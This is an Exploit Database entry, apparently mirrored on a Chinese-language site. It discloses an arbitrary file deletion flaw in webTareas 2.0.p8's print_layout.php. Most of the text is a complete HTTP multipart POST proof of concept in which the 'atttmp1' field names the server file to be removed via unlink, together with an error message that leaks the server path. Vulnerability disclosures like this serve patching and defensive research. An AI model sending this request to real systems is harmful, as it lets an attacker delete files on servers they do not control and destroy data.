webTareas 2.0.p8 – Arbitrary File Deletion

• Exploit Database
• 97 阅读

• 作者： Besim
  日期： 2020-05-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48430/

• # Exploit Title: webTareas 2.0.p8 - Arbitrary File Deletion
  # Date: 2020-05-02
  # Author: Besim ALTINOK
  # Vendor Homepage: https://sourceforge.net/projects/webtareas/files/
  # Software Link: https://sourceforge.net/projects/webtareas/files/
  # Version: v2.0.p8
  # Tested on: Xampp
  # Credit: İsmail BOZKURT
  
  
  Description:
  --------------------------------------------------------------------------------------
  
  - print_layout.php is vulnerable. When you sent PoC code to the server and
  If there is no file on the server, you can see, this error message
  
  <br />
  <b>Warning</b>:
   unlink(/Applications/XAMPP/xamppfiles/htdocs/webtareas/files/PrintLayouts/tester.png.php--1.zip):
  No such file or directory in
  <b>/Applications/XAMPP/xamppfiles/htdocs/webtareas/includes/library.php</b>
  on line <b>1303</b><br />
  
  - So, Here, you can delete file with unlink function.
  - And, I ddi try again with another file, I deleted from the server.
  --------------------------------------------------------------------------------------------
  
  Arbitrary File Deletion PoC
  ---------------------------------------------------------------------------------------
  
  POST
  /webtareas/administration/print_layout.php?doc_type=11&doc_type_ex=&id=1&mode=edit&borne1=0
  HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 ***********************
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-GB,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer:
  http://localhost/webtareas/administration/print_layout.php?doc_type=11&doc_type_ex=&mode=edit&borne1=0&id=1
  Content-Type: multipart/form-data;
  boundary=---------------------------3678767312987982041084647942
  Content-Length: 882
  DNT: 1
  Connection: close
  Cookie: webTareasSID=4b6a4799c9e7906a06c574dc48ffb730;
  PHPSESSIDwebERPteam=9b2b068ea2de93ed1ee0aafe27818191
  Upgrade-Insecure-Requests: 1
  
  -----------------------------3678767312987982041084647942
  Content-Disposition: form-data; name="action"
  
  edit
  -----------------------------3678767312987982041084647942
  Content-Disposition: form-data; name="desc"
  
  <p>tester</p>
  -----------------------------3678767312987982041084647942
  Content-Disposition: form-data; name="file1"; filename=""
  Content-Type: application/octet-stream
  
  
  -----------------------------3678767312987982041084647942
  Content-Disposition: form-data; name="attnam1"
  
  
  -----------------------------3678767312987982041084647942
  Content-Disposition: form-data; name="atttmp1"
  
  --add the delete file name here--
  -----------------------------3678767312987982041084647942
  Content-Disposition: form-data; name="sp"
  
  
  -----------------------------3678767312987982041084647942--
  

  Python

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